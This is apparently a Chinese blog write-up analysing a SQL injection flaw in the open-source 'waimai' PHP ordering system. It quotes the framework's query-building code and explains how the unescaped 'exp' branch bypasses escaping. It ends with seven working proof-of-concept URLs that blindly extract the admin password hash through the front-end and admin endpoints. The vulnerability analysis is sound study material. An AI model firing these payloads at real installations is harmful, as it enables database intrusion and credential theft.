代码来源:https://github.com/caokang/waimai
也是某天闲的无聊,看到CVE上有个老哥提了一个SQL的注入漏洞,就借此分析学习了一波。
本地搭建了环境,最终产生SQL注入的代码位于inc/Lib/Core/Db.class.php
// where子单元分析
    protected function parseWhereItem($key,$val) {
        $whereStr = '';
        if(is_array($val)) {
            if(is_string($val[0])) {
                if(preg_match('/^(EQ|NEQ|GT|EGT|LT|ELT)$/i',$val[0])) { // 比较运算
                    $whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]);
                }elseif(preg_match('/^(NOTLIKE|LIKE)$/i',$val[0])){// 模糊查找
                    if(is_array($val[1])) {
                        $likeLogic  =   isset($val[2])?strtoupper($val[2]):'OR';
                        if(in_array($likeLogic,array('AND','OR','XOR'))){
                            $likeStr    =   $this->comparison[strtolower($val[0])];
                            $like       =   array();
                            foreach ($val[1] as $item){
                                $like[] = $key.' '.$likeStr.' '.$this->parseValue($item);
                            }
                            $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';                          
                        }
                    }else{
                        $whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]);
                    }
                }elseif('exp'==strtolower($val[0])){ // 使用表达式
                    $whereStr .= ' ('.$key.' '.$val[1].') ';
                }elseif(preg_match('/IN/i',$val[0])){ // IN 运算
                    if(isset($val[2]) && 'exp'==$val[2]) {
                        $whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];
                    }else{
                        if(is_string($val[1])) {
                             $val[1] =  explode(',',$val[1]);
                        }
                        $zone      =   implode(',',$this->parseValue($val[1]));
                        $whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
                    }
                }elseif(preg_match('/BETWEEN/i',$val[0])){ // BETWEEN运算
                    $data = is_string($val[1])? explode(',',$val[1]):$val[1];
                    $whereStr .=  ' ('.$key.' '.strtoupper($val[0]).' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]).' )';
                }else{
                    throw_exception(L('_EXPRESS_ERROR_').':'.$val[0]);
                }
            }else {
                $count = count($val);
                $rule  = isset($val[$count-1])?strtoupper($val[$count-1]):'';
                if(in_array($rule,array('AND','OR','XOR'))) {
                    $count  = $count -1;
                }else{
                    $rule   = 'AND';
                }
                for($i=0;$i<$count;$i++) {
                    $data = is_array($val[$i])?$val[$i][1]:$val[$i];
                    if('exp'==strtolower($val[$i][0])) {
                        $whereStr .= '('.$key.' '.$data.') '.$rule.' ';
                    }else{
                        $op = is_array($val[$i])?$this->comparison[strtolower($val[$i][0])]:'=';
                        $whereStr .= '('.$key.' '.$op.' '.$this->parseValue($data).') '.$rule.' ';
                    }
                }
                $whereStr = substr($whereStr,0,-4);
            }
        }else {
            //对字符串类型字段采用模糊匹配
            if(C('DB_LIKE_FIELDS') && preg_match('/('.C('DB_LIKE_FIELDS').')/i',$key)) {
                $val  =  '%'.$val.'%';
                $whereStr .= $key.' LIKE '.$this->parseValue($val);
            }else {
                $whereStr .= $key.' = '.$this->parseValue($val);
            }
        }
        return $whereStr;
    }
这是一个where查询的解析函数,可以看到这里根据val的类型和值进行了多个if判断,发现基本上每个条件判断里都有一个parseValue函数,我们跟进去看一下。
protected function parseValue($value) {
        if(is_string($value)) {
            $value =  '\''.$this->escapeString($value).'\'';
        }elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){
            $value =  $this->escapeString($value[1]);
        }elseif(is_array($value)) {
            $value =  array_map(array($this, 'parseValue'),$value);
        }elseif(is_bool($value)){
            $value =  $value ? '1' : '0';
        }elseif(is_null($value)){
            $value =  'null';
        }
        return $value;
    }
基本上调用parseValue的查询都会被增加转义符,理论上无法直接存在注入。但是仔细看可以发现,里面有一个诡异的判断:
这两个条件并没有调用parseValue,而是直接拼接了val数组的值。
所以存在两种情况可以绕过这个parseValue:
protected function parseWhere($where) {
     $whereStr = '';
     if(is_string($where)) {
         // 直接使用字符串条件
         $whereStr = $where;
     }else{ // 使用数组表达式
         $operate  = isset($where['_logic'])?strtoupper($where['_logic']):'';
         if(in_array($operate,array('AND','OR','XOR'))){
             // 定义逻辑运算规则 例如 OR XOR AND NOT
             $operate    =   ' '.$operate.' ';
             unset($where['_logic']);
         }else{
             // 默认进行 AND 运算
             $operate    =   ' AND ';
         }
         foreach ($where as $key=>$val){
             $whereStr .= '( ';
             if(is_numeric($key)){
                 $key  = '_complex';
             }                    
             if(0===strpos($key,'_')) {
                 // 解析特殊条件表达式
                 $whereStr   .= $this->parseThinkWhere($key,$val);
             }else{
                 // 查询字段的安全过滤
                 if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){
                     throw_exception(L('_EXPRESS_ERROR_').':'.$key);
                 }
                 // 多条件支持
                 $multi  = is_array($val) &&  isset($val['_multi']);
                 $key    = trim($key);
                 if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段
                     $array =  explode('|',$key);
                     $str   =  array();
                     foreach ($array as $m=>$k){
                         $v =  $multi?$val[$m]:$val;
                         $str[]   = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
                     }
                     $whereStr .= implode(' OR ',$str);
                 }elseif(strpos($key,'&')){
                     $array =  explode('&',$key);
                     $str   =  array();
                     foreach ($array as $m=>$k){
                         $v =  $multi?$val[$m]:$val;
                         $str[]   = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
                     }
                     $whereStr .= implode(' AND ',$str);
                 }else{
                     $whereStr .= $this->parseWhereItem($this->parseKey($key),$val);
                 }
             }
             $whereStr .= ' )'.$operate;
         }
         $whereStr = substr($whereStr,0,-strlen($operate));
     }
     return empty($whereStr)?'':' WHERE '.$whereStr;
 }
public function parseSql($sql,$options=array()){
     $sql   = str_replace(
         array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%COMMENT%'),
         array(
             $this->parseTable($options['table']),
             $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
             $this->parseField(!empty($options['field'])?$options['field']:'*'),
             $this->parseJoin(!empty($options['join'])?$options['join']:''),
             $this->parseWhere(!empty($options['where'])?$options['where']:''),
             $this->parseGroup(!empty($options['group'])?$options['group']:''),
             $this->parseHaving(!empty($options['having'])?$options['having']:''),
             $this->parseOrder(!empty($options['order'])?$options['order']:''),
             $this->parseLimit(!empty($options['limit'])?$options['limit']:''),
             $this->parseUnion(!empty($options['union'])?$options['union']:''),
             $this->parseComment(!empty($options['comment'])?$options['comment']:'')
         ),$sql);
     return $sql;
 }
public function buildSelectSql($options=array()) {
     if(isset($options['page'])) {
         // 根据页数计算limit
         if(strpos($options['page'],',')) {
             list($page,$listRows) =  explode(',',$options['page']);
         }else{
             $page = $options['page'];
         }
         $page    =  $page?$page:1;
         $listRows=  isset($listRows)?$listRows:(is_numeric($options['limit'])?$options['limit']:20);
         $offset  =  $listRows*((int)$page-1);
         $options['limit'] =  $offset.','.$listRows;
     }
     if(C('DB_SQL_BUILD_CACHE')) { // SQL创建缓存
         $key    =  md5(serialize($options));
         $value  =  S($key);
         if(false !== $value) {
             return $value;
         }
     }
     $sql  =   $this->parseSql($this->selectSql,$options);
     $sql .= $this->parseLock(isset($options['lock'])?$options['lock']:false);
     if(isset($key)) { // 写入SQL创建缓存
         S($key,$sql,array('expire'=>0,'length'=>C('DB_SQL_BUILD_LENGTH'),'queue'=>C('DB_SQL_BUILD_QUEUE')));
     }
     return $sql;
 }
public function select($options=array()) {
     $this->model  =   $options['model'];
     $sql    = $this->buildSelectSql($options);
     $cache  =  isset($options['cache'])?$options['cache']:false;
     if($cache) { // 查询缓存检测
         $key    =  is_string($cache['key'])?$cache['key']:md5($sql);
         $value  =  S($key,'',$cache);
         if(false !== $value) {
             return $value;
         }
     }
     $result   = $this->query($sql,$this->parseBind(!empty($options['bind'])?$options['bind']:array()));
     if($cache && false !== $result ) { // 查询缓存写入
         S($key,$result,$cache);
     }
     return $result;
 }
public function find($options=array()) {
     if(is_numeric($options) || is_string($options)) {
         $where[$this->getPk()]  =   $options;
         $options                =   array();
         $options['where']       =   $where;
     }
     // 总是查找一条记录
     $options['limit']   =   1;
     // 分析表达式
     $options            =   $this->_parseOptions($options);
     $resultSet          =   $this->db->select($options);
     if(false === $resultSet) {
         return false;
     }
     if(empty($resultSet)) {// 查询结果为空
         return null;
     }
     $this->data         =   $resultSet[0];
     $this->_after_find($this->data,$options);
     if(!empty($this->options['result'])) {
         return $this->returnResult($this->data,$this->options['result']);
     }
     return $this->data;
 }
整个SQL的调用栈应该是这样的:
分析完调用过程开始构造poc,以product模块为例,需要传递一个id的数组,这里用val[0] == 'exp', val[1] == payload这种方式构造,得出的完整url应该是这样的:
http://localhost:8888/waimai-master/index.php?m=product&a=index&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
这里需要注意,我们想构造的最后的查询语句应该是这样的:
SELECT * FROM sn_article WHERE (  (aid in ('XX'))/**/or substr((select userpass from sn_members where uid=1),1,1)='9') -- )  ) LIMIT 1
所以需要两个右括号,第一个闭合WHERE中的第一个条件(aid in ('XX')),第二个闭合WHERE。用户为admin,密码md5第一位是9。
下面开始测试
存在此处SQL问题的还有很多:
1、http://localhost:8888/waimai-master/index.php?m=product&a=index&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
  2、http://localhost:8888/waimai-master/index.php?m=product&a=index&id[0]=in%20(%27xx%27))/*&id[1]=*/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27%20--%20&id[2]=exp
  3、http://localhost:8888/waimai-master/index.php?m=article&a=s&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
  4、http://localhost:8888/waimai-master/admin.php?&m=food&a=edit&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
  5、http://localhost:8888/waimai-master/admin.php?&m=foodcat&a=edit&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
  6、http://localhost:8888/waimai-master/admin.php?&m=order&a=detail&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
  7、http://localhost:8888/waimai-master/admin.php?&m=order&a=orderfour&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
参考:https://github.com/caokang/waimai/issues/9
提前给师傅们拜年了~